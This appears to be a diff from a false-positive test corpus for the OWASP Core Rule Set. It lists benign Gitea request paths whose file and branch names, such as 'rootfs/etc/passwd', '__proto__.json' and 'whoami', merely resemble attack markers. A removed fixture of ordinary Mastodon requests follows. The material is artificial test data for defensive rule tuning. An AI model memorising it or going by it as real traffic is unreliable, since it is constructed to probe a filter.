/owner/repo/raw/branch/main/META-INF/services/org.apache.commons.logging.LogFactory
/owner/repo/_edit/main/META-INF/services/org.apache.commons.logging.LogFactory
/api/v1/repos/owner/repo/contents/META-INF/services/org.apache.commons.logging.LogFactory
/owner/repo/src/branch/main/process.env.d.ts
/owner/repo/raw/branch/main/process.env.d.ts
/owner/repo/_edit/main/process.env.d.ts
/api/v1/repos/owner/repo/contents/process.env.d.ts
/owner/repo/src/branch/main/document.write.js
/owner/repo/raw/branch/main/document.write.js
/owner/repo/_edit/main/document.write.js
/api/v1/repos/owner/repo/contents/document.write.js
/owner/repo/src/branch/main/test/fixtures/__proto__.json
/owner/repo/raw/branch/main/test/fixtures/__proto__.json
/owner/repo/_edit/main/test/fixtures/__proto__.json
/api/v1/repos/owner/repo/contents/test/fixtures/__proto__.json
/owner/repo/src/branch/main/install-script.sh
/owner/repo/raw/branch/main/install-script.sh
/owner/repo/_edit/main/install-script.sh
/api/v1/repos/owner/repo/contents/install-script.sh
/owner/repo/src/branch/main/src/backend/catalog/information_schema.sql
/owner/repo/raw/branch/main/src/backend/catalog/information_schema.sql
/owner/repo/_edit/main/src/backend/catalog/information_schema.sql
/api/v1/repos/owner/repo/contents/src/backend/catalog/information_schema.sql
/owner/repo/src/branch/main/docs/a%20b.xhtml
/owner/repo/raw/branch/main/docs/a%20b.xhtml
/owner/repo/_edit/main/docs/a%20b.xhtml
/api/v1/repos/owner/repo/contents/docs/a%20b.xhtml
/owner/repo/src/branch/main/%5Bdraft%5D.md
/owner/repo/raw/branch/main/%5Bdraft%5D.md
/owner/repo/_edit/main/%5Bdraft%5D.md
/api/v1/repos/owner/repo/contents/%5Bdraft%5D.md
/owner/repo/src/branch/main/notes.txt~
/owner/repo/raw/branch/main/notes.txt~
/owner/repo/_edit/main/notes.txt~
/api/v1/repos/owner/repo/contents/notes.txt~
# The download, blame, history, delete and preview pages of the files above
# whose names the Core Rule Set checks in the path, and their downloads as
# release attachments.
/owner/repo/media/branch/main/notes.txt~
/owner/repo/blame/branch/main/notes.txt~
/owner/repo/commits/branch/main/notes.txt~
/owner/repo/_delete/main/notes.txt~
/owner/repo/media/branch/main/process.env.d.ts
/owner/repo/blame/branch/main/process.env.d.ts
/owner/repo/commits/branch/main/process.env.d.ts
/owner/repo/_delete/main/process.env.d.ts
/owner/repo/media/branch/main/docs/a%20b.xhtml
/owner/repo/blame/branch/main/docs/a%20b.xhtml
/owner/repo/commits/branch/main/docs/a%20b.xhtml
/owner/repo/_delete/main/docs/a%20b.xhtml
/owner/repo/media/branch/main/java.lang.String.md
/owner/repo/blame/branch/main/java.lang.String.md
/owner/repo/commits/branch/main/java.lang.String.md
/owner/repo/_delete/main/java.lang.String.md
/owner/repo/_preview/main/notes.txt~
/owner/repo/_preview/main/process.env.d.ts
/owner/repo/_preview/main/java.lang.String.md
/owner/repo/releases/download/v1.0/notes.txt~
/owner/repo/releases/download/v1.0/process.env.d.ts
/owner/repo/releases/download/v1.0/java.lang.String.md
/owner/repo/releases/download/v1.0/a%20b.xhtml
# File names in the query string: the commit graph of a file, the API's lists
# of its commits and of its contents, an issue opened from a template, the
# sign-in page on the way to its edit page, and a diff's hidden lines.
/owner/repo/graph?file=package.json
/api/v1/repos/owner/repo/commits?path=package.json
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22package.json%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fpackage.json
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fpackage.json
/owner/repo/graph?file=.gitignore
/api/v1/repos/owner/repo/commits?path=.gitignore
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22.gitignore%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2F.gitignore
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2F.gitignore
/owner/repo/graph?file=docker-compose.yml
/api/v1/repos/owner/repo/commits?path=docker-compose.yml
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22docker-compose.yml%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fdocker-compose.yml
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fdocker-compose.yml
/owner/repo/graph?file=.htaccess
/api/v1/repos/owner/repo/commits?path=.htaccess
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22.htaccess%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2F.htaccess
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2F.htaccess
/owner/repo/graph?file=rootfs%2Fetc%2Fpasswd
/api/v1/repos/owner/repo/commits?path=rootfs%2Fetc%2Fpasswd
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22rootfs%2Fetc%2Fpasswd%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Frootfs%2Fetc%2Fpasswd
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Frootfs%2Fetc%2Fpasswd
/owner/repo/graph?file=bin%2Fdocker-entrypoint
/api/v1/repos/owner/repo/commits?path=bin%2Fdocker-entrypoint
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22bin%2Fdocker-entrypoint%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fbin%2Fdocker-entrypoint
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fbin%2Fdocker-entrypoint
/owner/repo/graph?file=scripts%2Fpython3-setup.sh
/api/v1/repos/owner/repo/commits?path=scripts%2Fpython3-setup.sh
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22scripts%2Fpython3-setup.sh%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fscripts%2Fpython3-setup.sh
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fscripts%2Fpython3-setup.sh
/owner/repo/graph?file=src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java
/api/v1/repos/owner/repo/commits?path=src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fsrc%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fsrc%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java
/owner/repo/graph?file=java.lang.String.md
/api/v1/repos/owner/repo/commits?path=java.lang.String.md
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22java.lang.String.md%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fjava.lang.String.md
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fjava.lang.String.md
/owner/repo/graph?file=META-INF%2Fservices%2Forg.apache.commons.logging.LogFactory
/api/v1/repos/owner/repo/commits?path=META-INF%2Fservices%2Forg.apache.commons.logging.LogFactory
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22META-INF%2Fservices%2Forg.apache.commons.logging.LogFactory%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2FMETA-INF%2Fservices%2Forg.apache.commons.logging.LogFactory
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2FMETA-INF%2Fservices%2Forg.apache.commons.logging.LogFactory
/owner/repo/graph?file=process.env.d.ts
/api/v1/repos/owner/repo/commits?path=process.env.d.ts
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22process.env.d.ts%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fprocess.env.d.ts
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fprocess.env.d.ts
/owner/repo/graph?file=document.write.js
/api/v1/repos/owner/repo/commits?path=document.write.js
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22document.write.js%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fdocument.write.js
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fdocument.write.js
/owner/repo/graph?file=test%2Ffixtures%2F__proto__.json
/api/v1/repos/owner/repo/commits?path=test%2Ffixtures%2F__proto__.json
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22test%2Ffixtures%2F__proto__.json%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Ftest%2Ffixtures%2F__proto__.json
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Ftest%2Ffixtures%2F__proto__.json
/owner/repo/graph?file=install-script.sh
/api/v1/repos/owner/repo/commits?path=install-script.sh
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22install-script.sh%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Finstall-script.sh
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Finstall-script.sh
/owner/repo/graph?file=src%2Fbackend%2Fcatalog%2Finformation_schema.sql
/api/v1/repos/owner/repo/commits?path=src%2Fbackend%2Fcatalog%2Finformation_schema.sql
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22src%2Fbackend%2Fcatalog%2Finformation_schema.sql%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fsrc%2Fbackend%2Fcatalog%2Finformation_schema.sql
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fsrc%2Fbackend%2Fcatalog%2Finformation_schema.sql
/owner/repo/graph?file=docs%2Fa%20b.xhtml
/api/v1/repos/owner/repo/commits?path=docs%2Fa%20b.xhtml
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22docs%2Fa%20b.xhtml%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fdocs%2Fa%20b.xhtml
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fdocs%2Fa%20b.xhtml
/owner/repo/graph?file=%5Bdraft%5D.md
/api/v1/repos/owner/repo/commits?path=%5Bdraft%5D.md
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22%5Bdraft%5D.md%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2F%5Bdraft%5D.md
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2F%5Bdraft%5D.md
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=process.env.d.ts&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=java.lang.String.md&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=install-script.sh&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=information_schema.sql&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=document.write.js&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=__proto__.json&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=index.xhtml&style=unified&direction=down&wiki=false
# File names of attachments uploaded through the API, to a release, an issue and
# a comment.
/api/v1/repos/owner/repo/releases/1/assets?name=package.json
/api/v1/repos/owner/repo/releases/1/assets?name=.gitignore
/api/v1/repos/owner/repo/releases/1/assets?name=docker-compose.yml
/api/v1/repos/owner/repo/releases/1/assets?name=.htaccess
/api/v1/repos/owner/repo/releases/1/assets?name=docker-entrypoint
/api/v1/repos/owner/repo/releases/1/assets?name=python3-setup.sh
/api/v1/repos/owner/repo/releases/1/assets?name=Runtime.java
/api/v1/repos/owner/repo/releases/1/assets?name=org.apache.commons.logging.LogFactory
/api/v1/repos/owner/repo/releases/1/assets?name=%5Bdraft%5D.md
/api/v1/repos/owner/repo/releases/1/assets?name=notes.txt~
/api/v1/repos/owner/repo/releases/1/assets?name=install-script.sh
/api/v1/repos/owner/repo/issues/1/assets?name=install-script.sh
/api/v1/repos/owner/repo/issues/comments/1/assets?name=install-script.sh
/api/v1/repos/owner/repo/releases/1/assets?name=process.env.d.ts
/api/v1/repos/owner/repo/issues/1/assets?name=process.env.d.ts
/api/v1/repos/owner/repo/issues/comments/1/assets?name=process.env.d.ts
/api/v1/repos/owner/repo/releases/1/assets?name=java.lang.String.md
/api/v1/repos/owner/repo/issues/1/assets?name=java.lang.String.md
/api/v1/repos/owner/repo/issues/comments/1/assets?name=java.lang.String.md
/api/v1/repos/owner/repo/releases/1/assets?name=information_schema.sql
/api/v1/repos/owner/repo/issues/1/assets?name=information_schema.sql
/api/v1/repos/owner/repo/issues/comments/1/assets?name=information_schema.sql
/api/v1/repos/owner/repo/releases/1/assets?name=document.write.js
/api/v1/repos/owner/repo/issues/1/assets?name=document.write.js
/api/v1/repos/owner/repo/issues/comments/1/assets?name=document.write.js
/api/v1/repos/owner/repo/releases/1/assets?name=__proto__.json
/api/v1/repos/owner/repo/issues/1/assets?name=__proto__.json
/api/v1/repos/owner/repo/issues/comments/1/assets?name=__proto__.json
/api/v1/repos/owner/repo/releases/1/assets?name=index.xhtml
/api/v1/repos/owner/repo/issues/1/assets?name=index.xhtml
/api/v1/repos/owner/repo/issues/comments/1/assets?name=index.xhtml
# An artifact upload from actions/upload-artifact@v3, which sends Content-Range.
/api/actions_pipeline/_apis/pipelines/workflows/1/artifacts/9b7c1f3a/upload?itemPath=artifact%2Freport.txt Content-Range: bytes 0-9/10
# Branch and tag names in the query string: deleting and restoring a branch,
# starting a release from a tag, a branch protection rule, a directory listing's
# last commits, and a container image push that reuses a layer.
/owner/repo/branches/delete?name=docker-build&page=1
/owner/repo/branches/restore?branch_id=1&name=docker-build&page=1
/owner/repo/releases/new?tag=docker-build
/owner/repo/settings/branches/edit?rule_name=docker-build
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fdocker-build
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fdocker-build
/owner/repo/branches/delete?name=feat%2Fdocker-support&page=1
/owner/repo/branches/restore?branch_id=1&name=feat%2Fdocker-support&page=1
/owner/repo/releases/new?tag=feat%2Fdocker-support
/owner/repo/settings/branches/edit?rule_name=feat%2Fdocker-support
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Ffeat%2Fdocker-support
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Ffeat%2Fdocker-support
/owner/repo/branches/delete?name=renovate%2Fdocker-build-push-action-6.x&page=1
/owner/repo/branches/restore?branch_id=1&name=renovate%2Fdocker-build-push-action-6.x&page=1
/owner/repo/releases/new?tag=renovate%2Fdocker-build-push-action-6.x
/owner/repo/settings/branches/edit?rule_name=renovate%2Fdocker-build-push-action-6.x
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Frenovate%2Fdocker-build-push-action-6.x
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Frenovate%2Fdocker-build-push-action-6.x
/owner/repo/branches/delete?name=python3-migration&page=1
/owner/repo/branches/restore?branch_id=1&name=python3-migration&page=1
/owner/repo/releases/new?tag=python3-migration
/owner/repo/settings/branches/edit?rule_name=python3-migration
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fpython3-migration
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fpython3-migration
/owner/repo/branches/delete?name=ansible-roles&page=1
/owner/repo/branches/restore?branch_id=1&name=ansible-roles&page=1
/owner/repo/releases/new?tag=ansible-roles
/owner/repo/settings/branches/edit?rule_name=ansible-roles
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fansible-roles
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fansible-roles
/owner/repo/branches/delete?name=whoami&page=1
/owner/repo/branches/restore?branch_id=1&name=whoami&page=1
/owner/repo/releases/new?tag=whoami
/owner/repo/settings/branches/edit?rule_name=whoami
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fwhoami
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fwhoami
# Pages a signed-in user opens.
/
/owner/repo
/owner/repo/issues
/owner/repo/pulls
/owner/repo/releases
/owner/repo/wiki
/owner/repo/activity
/owner/repo/branches
/owner/repo/tags
/owner/repo/settings
/owner/repo/actions
/owner/repo/compare/main...main
/owner/repo/commits/branch/main
/owner/repo/archive/main.zip
/notifications
/user/settings
/user/settings/applications
/explore/repos
/-/admin
-585
View File
@@ -1,585 +0,0 @@
# Ordinary Mastodon 4.7 requests that the Core Rule Set must let through at
# the defaults. They were recorded from a server driven by a headless Chrome
# and an API client. Another server delivered to it and looked its links up.
# Each line is one request as JSON. Host names, passwords, tokens and session cookies are
# invented.
{"method": "GET", "target": "/about", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/assets/themes/default-DkDM-a1D.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/app-DHclxKoS.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/gif-nHcAVb7p.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/sounds/boop.ogg", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Encoding: identity;q=1, *;q=0", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: audio", "Referer: https://example.com/", "Range: bytes=0-"], "body": ""}
{"method": "GET", "target": "/api/v2/instance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v1/trends/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v1/custom_emojis", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "content-type: application/json", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "GET", "target": "/api/v1/trends/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/about", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/utils-B19lL5A9.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/simple-RcjHIGVG.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/callout-B1KuUxns.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v2/instance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v1/trends/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v1/custom_emojis", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "content-type: application/json", "if-none-match: W/\"4f53cda18c2baa0c0354bb5f9a3ecbe5\"", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
